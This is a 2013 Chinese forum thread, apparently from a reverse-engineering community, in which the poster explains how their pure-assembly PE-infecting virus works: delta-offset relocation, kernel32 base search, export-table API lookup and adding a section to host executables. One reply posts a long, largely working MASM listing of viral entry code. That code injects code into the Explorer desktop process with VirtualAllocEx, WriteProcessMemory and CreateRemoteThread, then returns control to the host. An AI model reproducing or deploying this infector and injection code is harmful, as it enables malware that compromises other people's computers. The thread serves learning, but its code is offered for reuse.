首页
社区
课程
招聘
[原创]纯汇编打造PE感染病毒
发表于: 2013-10-10 16:58 13216

[原创]纯汇编打造PE感染病毒

2013-10-10 16:58
13216

本人文笔非常烂,想到什么就写什么,望见谅。
这个是上一年写的代码,最近翻了翻硬盘发现了这尘封了多年的东西。
由于PE感染病毒中了很麻烦,请小心运行。
编译环境是masm32,附件里有编译用的命令行,改改就行。xp下测试通过

PE感染病毒要克服几个重要的问题:变量的存放,函数地址的调用,对PE文件的处理,还要考虑在宿主的变量函数等存储等,很麻烦,我一年前写的我都忘的差不多了。

程序的一切是从main.asm的start标号开始。顺着他看下去一切思路又回来了。

要处理的问题:

1,重定位。
  由于病毒会在宿主里运行,病毒不知道自己是在哪里运行,哪个地址被执行的,所以要想办法知道自己在哪里。
  call @1                                    @1:
  pop ebp
    sub ebp, offset @1  
sub ebp, offset @1  的意思是把@1处的地址,被ebp减,如果是在本程序,ebp为0,但如果这代码运行在宿主程序里,那么ebp的值就是原编译好的程序的地址与宿舍新地址的差。以后要用变量,只要 offset var + ebp就是变量地址。这样就达到重定位的目的。
例如,在上面定义的变量:
kernel32_base  dd 0          ;kernel32.dll的基地址
mov eax , dword ptr [ebp + kernel32_base]
这样就可以使用这个变量,而不管这段代码是在宿主的哪个地方运行的。

2,API地址的获取
   R3的程序肯定要调用系统的API,不然没法工作。找api的方法通常来讲都是这样:找到kernel32.dll的基址, 通过输出表,找到GetProcAddress地址,再通过GetProcAddress找到任何你想要的函数地址。
我这里找kernel32.dll采用暴力搜索法,但其实是可以通过fs来找到的,方法各异。
因为当程序在入口点运行时,栈里就是kernel32.dll的某个地址。

  ;下面要取得kernel32.dll的基地址
  mov eax,[esp]    ;取得kernel返回地址
@step1:  
  dec eax
  cmp dword ptr [eax], 4550h      ;如果是MZ标志的DOS头标志
  
  je offset @step2 
  jmp offset @step1 
@step2:
  dec eax
  cmp word ptr[eax], 5A4Dh
  je offset @step3
  jmp @step2
  
@step3:                  ;现在eax就是kernel32.dll的基地址了
  mov dword ptr [ebp + kernel32_base] , eax

至于在k32.dll里通过导出表找到函数的方法,我封装了下:
;函数名称                    :getApiAddr_K32
;说明                        :根据导出表,得出在K32里的API的函数地址
;k32base                    :kernel32.dll的基地址
;export_table                :导出表地址
;api_name                    :要取得api的函数名称地址
;返回值                      :找到的API地址,如找不到则为0
getApiAddr_K32 proc k32base:DWORD, export_table:DWORD, api_name_addr:DWORD

具体代码在看代码吧。

3,感染PE文件
对于感染PE文件,我采用文件映射到内存的方法,CreateFileMapping什么的。一个个搜索指定的目录,判断是否是PE文件,然后感染。
首先做的是打开文件,然后进行文件映射,然后增加一个节,用来存放病毒代码。把病毒本身的代码写进去。
当然,也要把程序的原始入口点保存起来,到时执行完病毒 的代码,就跳转回原来的执行。
在病毒执行的过程中,你可以增加别的代码,在程序启动前干什么事都行。这里我的程序只是弹一个网页而已。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (14)
雪    币: 279
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
呵呵,占了sofa位置...
2013-10-10 17:29
0
雪    币: 5
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
顶一下,不错
2013-10-10 17:37
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
不错,支持一下
2013-10-10 17:44
0
雪    币: 341
活跃值: (143)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
5
还不错。。在学习
2013-10-10 18:05
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nmn
6
学习一下病毒代码
2013-10-11 01:46
0
雪    币: 145
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
看看罗云杉的 win32asm 改改代码 然后再 把zeroAdd C -> asm 就很好玩了。

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include                Macro.inc
.code
APPEND_CODE0 equ this byte
Remote_code_start0        equ this byte
include RemoteCode.asm
include _RemoteCode.asm

szGetProcAddress db 'GetProcAddress',0
szLoadLibraryA db 'LoadLibraryA',0
szGetModuleHandleA db 'GetModuleHandleA',0
szOpenProcess db 'OpenProcess',0
szVirtualAllocEx db 'VirtualAllocEx',0
szReadProcessMemory  db 'ReadProcessMemory',0
szWriteProcessMemory db 'WriteProcessMemory',0
szCreateRemoteThread db 'CreateRemoteThread',0
szCloseHandle db 'CloseHandle',0,0
szFindWindowA db 'FindWindowA',0
szGetWindowThreadProcessId0 db 'GetWindowThreadProcessId',0,0
szDesktopClass         db        'Progman',0
szKernelDll        db        'Kernel32.dll',0

_GetProcAddress0 proc hInstance:dword,szAPIAddress:dword;得到GetProcAddress的地址
local @hInstance:dword,@szAPIAddress:dword,@ExportDirctory:dword,@AddressOfNames:dword
mov eax,hInstance
mov @hInstance,eax
mov ebx,szAPIAddress
mov @szAPIAddress,ebx
add eax,0F0h
assume eax:ptr IMAGE_NT_HEADERS                                                       
mov eax,[eax].OptionalHeader.DataDirectory.VirtualAddress                       
add eax,@hInstance                           ;得到导出表的地址
mov @ExportDirctory,eax       
mov edx,eax               
assume eax:ptr IMAGE_EXPORT_DIRECTORY,edx:ptr IMAGE_EXPORT_DIRECTORY                                               
mov eax,[eax].AddressOfNames                                                                                                                               
add eax,@hInstance;
mov @AddressOfNames,eax;导出函数名字符串地址表的(数组起始RVA)                                                                        
mov edi,@szAPIAddress
mov ebx,edi       
mov ecx,-1                    ;表示最从大开始扫描
push eax                               
xor al,al                                                                       
cld                                                                               
repnz scasb
pop eax
mov ecx,edi                                                                       
sub ecx,ebx                   ;得到字符串的长度包括0                               
sub edi,ecx                   ;要比较的字符串基地址                               
xor ebx,ebx                                                                       
.repeat                                                                               
        mov esi,dword ptr [eax]                                                               
        add esi,@hInstance                                                       
        push edi                                                               
        push ecx                                                               
        repz cmpsb                                                               
        .if zero?                                                               
                pop ecx                                                               
                pop edi                                                               
                jmp @F                                                               
        .endif                                                                       
        pop ecx                                                                       
        pop edi                                                                       
        add eax,4                                                               
        inc ebx                                                                       
.until ebx>=[edx].NumberOfNames                                       
@@:
sub eax,@AddressOfNames
shr eax,1                   ;进行除以2                                               
add eax,[edx].AddressOfNameOrdinals
add eax,@hInstance                                               
movzx eax,word ptr [eax]    ;得到序号索引                                       
shl eax,2                    ;进行剩以2得到                                       
add eax,[edx].AddressOfFunctions                                       
add eax,@hInstance
mov eax,dword ptr [eax]                                                               
add eax,@hInstance;得到GetProcAddress的地址7c80ae30
ret                                                                                                       
_GetProcAddress0 endp

_GetAPI_CRGJ proc
local @lpGetProcAddress,@lpLoadLibraryA,@lpGetModuleHandleA,@lpOpenProcess,@lpVirtualAllocEx
local @lpReadProcessMemory,@lpWriteProcessMemory,@lpCreateRemoteThread,@lpCloseHandle
local @lpFindWindowA,@lpGetWindowThreadProcessId
local @dwProcessID,@dwThreadID,@hProcess,@lpRemoteCode,@lpKernelDll
local @hModule;采用局部变量是因为Link之后没有对代码段设定属性为可读可写(只可读)
local @ReadTemp

mov @hModule,ebx
call @F                                                                       
@@:                                                                               
pop ecx                                                                               
sub ecx,offset @B
mov @lpGetProcAddress,eax                                                               
lea        esi,[ecx + offset szGetProcAddress]
lea        edi,@lpGetProcAddress                                               
.while        TRUE
        push ecx
        _invoke        @lpGetProcAddress,@hModule,esi
        pop ecx ;由于上面的函数对ecx进行了改变
        mov dword ptr [edi],eax
        sub        edi,4;由于局部变量与全局变量的区别,局部变量是椎栈内由下到上
        @@:
        lodsb
        or        al,al
        jnz        @B
        .break        .if ! byte ptr [esi]
.endw
jmp a1
user320 db 'user32.dll',0
a1:call @F                                                                       
@@:                                                                               
pop ecx                                                                               
sub ecx,offset @B
lea eax,[ecx+offset user320]
_invoke        @lpLoadLibraryA,eax;得到user32.dll模块基址
mov @hModule,eax
call @F                                                                       
@@:                                                                               
pop ecx                                                                               
sub ecx,offset @B
lea        esi,[ecx + offset szFindWindowA]
lea        edi,@lpFindWindowA
.while        TRUE
        push ecx
        _invoke        @lpGetProcAddress,@hModule,esi
        pop ecx ;由于上面的函数对ecx进行了改变
        mov dword ptr [edi],eax
        sub        edi,4;由于局部变量与全局变量的区别,局部变量是椎栈内由下到上
        @@:
        lodsb
        or        al,al
        jnz        @B
        .break        .if ! byte ptr [esi]
.endw
call @F                                                                       
@@:                                                                               
pop ebx                                                                               
sub ebx,offset @B
lea eax,[ebx + offset szKernelDll]
_invoke        @lpGetModuleHandleA,eax
mov @lpKernelDll,eax
lea eax,[ebx + offset szLoadLibraryA]
_invoke        @lpGetProcAddress,@lpKernelDll,eax
mov @lpLoadLibraryA,eax
lea eax,[ebx + offset szGetProcAddress]
_invoke        @lpGetProcAddress,@lpKernelDll,eax
mov        @lpGetProcAddress,eax
lea eax,[ebx + offset szGetModuleHandleA]
_invoke        @lpGetProcAddress,@lpKernelDll,eax
mov @lpGetModuleHandleA,eax
lea eax,[ebx + offset szDesktopClass]
_invoke        @lpFindWindowA,eax,NULL
lea ecx,@dwProcessID
_invoke @lpGetWindowThreadProcessId,eax,ecx
mov        @dwThreadID,eax
_invoke        @lpOpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE or PROCESS_VM_READ,FALSE,@dwProcessID;进行打开内存以相映的属性
.if eax
        mov @hProcess,eax
        lea ecx,@ReadTemp
        _invoke        @lpReadProcessMemory,@hProcess,00020c00h,ecx,4,NULL;在Kernel32.dll里写内存没有成功,看来还得了解下内存用况,(00020c00h)不然写入影响糸统
        .if eax               
                .if @ReadTemp=='viru'
                        jmp readerror
                .endif
                mov @ReadTemp,'viru'
                lea ecx,@ReadTemp
                _invoke        @lpWriteProcessMemory,@hProcess,00020c00h,ecx,4,NULL
                _invoke        @lpVirtualAllocEx,@hProcess,NULL,Remote_code_length0,MEM_COMMIT,PAGE_EXECUTE_READWRITE
                .if eax
                        mov @lpRemoteCode,eax
                        call @F                                                                       
                        @@:                                                                               
                        pop ebx                                                                               
                        sub ebx,offset @B
                        mov        ecx,offset Remote_code_start0
                        add        ecx,ebx
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,Remote_code_length0,NULL
                        lea ecx,@lpGetProcAddress
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        lea ecx,@lpLoadLibraryA       
                        add @lpRemoteCode,4;由于椎栈是从高向低与一般正好相反所以才要分开写入       
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        add @lpRemoteCode,4
                        lea ecx,@lpGetModuleHandleA       
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        sub @lpRemoteCode,8
                        mov eax,@lpRemoteCode
                        add eax,offset _RemoteThread0-offset Remote_code_start0
                        _invoke        @lpCreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
                        _invoke        @lpCloseHandle,eax
                .endif

                _invoke        @lpVirtualAllocEx,@hProcess,NULL,Remote_code_length1,MEM_COMMIT,PAGE_EXECUTE_READWRITE
                .if eax
                        mov @lpRemoteCode,eax
                        call @F                                                                       
                        @@:                                                                               
                        pop ebx                                                                               
                        sub ebx,offset @B
                        mov        ecx,offset Remote_code_start1
                        add        ecx,ebx
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,Remote_code_length1,NULL
                        lea ecx,@lpGetProcAddress
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        lea ecx,@lpLoadLibraryA       
                        add @lpRemoteCode,4       
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        add @lpRemoteCode,4
                        lea ecx,@lpGetModuleHandleA       
                        _invoke        @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL
                        sub @lpRemoteCode,8
                        mov eax,@lpRemoteCode
                        add eax,offset _RemoteThread1-offset Remote_code_start1
                        _invoke        @lpCreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
                        _invoke        @lpCloseHandle,eax
                .endif
        .endif
        _invoke        @lpCloseHandle,@hProcess
.endif
readerror:
        ret
_GetAPI_CRGJ endp

_NewEntry:
pushad
pushfd
mov ebx,[esp+36]                                                                       
and ebx,0ffff0000h                                                               
.while TRUE                                                                       
        .if word ptr [ebx]==IMAGE_DOS_SIGNATURE                                       
                add ebx,dword ptr [ebx+3ch]                                               
                .if word ptr [ebx]==IMAGE_NT_SIGNATURE                               
                        .break                                                       
                .endif                                                               
        .endif                                                                       
        sub ebx,10000h                                                               
        .break .if ebx<07000000h                                               
.endw       
sub ebx,0F0h;7c800000
;##############################################得到kernel32模块基址
jmp a_
GetProcAddress0 db "GetProcAddress",0                        
a_:call @F                                                                       
@@:                                                                               
pop ecx                                                                               
sub ecx,offset @B                                                               
add ecx,offset GetProcAddress0
push ebx;kernel32模块的句柄                                                       
invoke _GetProcAddress0,ebx,ecx                 ;用invoke伪指令进调用进编译器进行平衡椎栈
pop ebx ;kernel32模块的句柄                    ;call _GetProcAddress;可能是用了局部变量的原因进行平衡也达不到目的,但可以调用没有参数的                                                                                      ;但是都是按相对位置进行转移
invoke _GetAPI_CRGJ
popfd
popad
_ToOldEntry:
        db 0e9h
_dwOldEntry:
        dd ?

APPEND_CODE_END0 equ this byte
Remote_code_end0        equ this byte
Remote_code_length0        equ offset Remote_code_end0- offset Remote_code_start0
end _NewEntry
2013-10-11 22:51
0
雪    币: 70
活跃值: (88)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
你是取样罗云彬的代码吧。。。(还没加引注)
再说了,这些技术都是汇编中的老技术了,很多人都知道。。
2013-10-12 00:59
0
雪    币: 103
活跃值: (126)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
9
学习了 最近正好用的上
2013-10-12 01:48
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
mark  看看先
2013-10-12 02:23
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
mark,正在学习
2013-10-12 08:20
0
雪    币: 281
活跃值: (207)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
不是啊,都是我写的,当然写这病毒的方法我也是上网找的,不然我肯定定不出来。我都是初学者,给初学者看的,高手笑笑就好
2013-10-12 09:36
0
雪    币: 70
活跃值: (88)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
13
1.寄存器重定位技术,早在1989年的雨点病毒就出现过,,
call _next
_next:
pop eax
sub eax,offset _next
用的是栈机制和寄存器指令性质,call之前会压入eip,这是栈里的最上面的值就是eip,我们只要弄到这个eip就是关键,所以pop出来又得到了eip,有平衡了栈,,
其实还有个与此反向的机制,因为没有用ret,所以ret也有文章可作,可以用来作个非常规跳转,如:
_loop_here:
push offset _loop_here
ret
这个会一直loop下去,其机制与上面相反,在加壳软件和病毒较为常见。
2.这个利用的也是栈机制,因为我们的程序是系统下的子过程,在呼叫我们的程序必须得call,call的时候会压eip,然后我们在得到这个eip,这个eip其实在kernel32.dll中(处于运行状态),因为我们的程序创建时的上一级就得调用CreateProcess,所以顺藤摸瓜,得到kernel32的启始地址就不难了。在根据PE文件格式找导出表,查自己需要的API将迎刃而解。
3.感染文件,添加自己的代码重在熟悉PE文件的格式,不然的话哪里来个错误,程序被破坏,根本无法运行,那不就前功尽弃了吗。。
2013-10-12 19:37
0
雪    币: 61
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
看看,看看
2013-10-12 20:40
0
雪    币: 141
活跃值: (318)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
楼上说的反向机制不错奥,学习学习
2013-10-13 12:49
0
游客
登录 | 注册 方可回帖
返回
//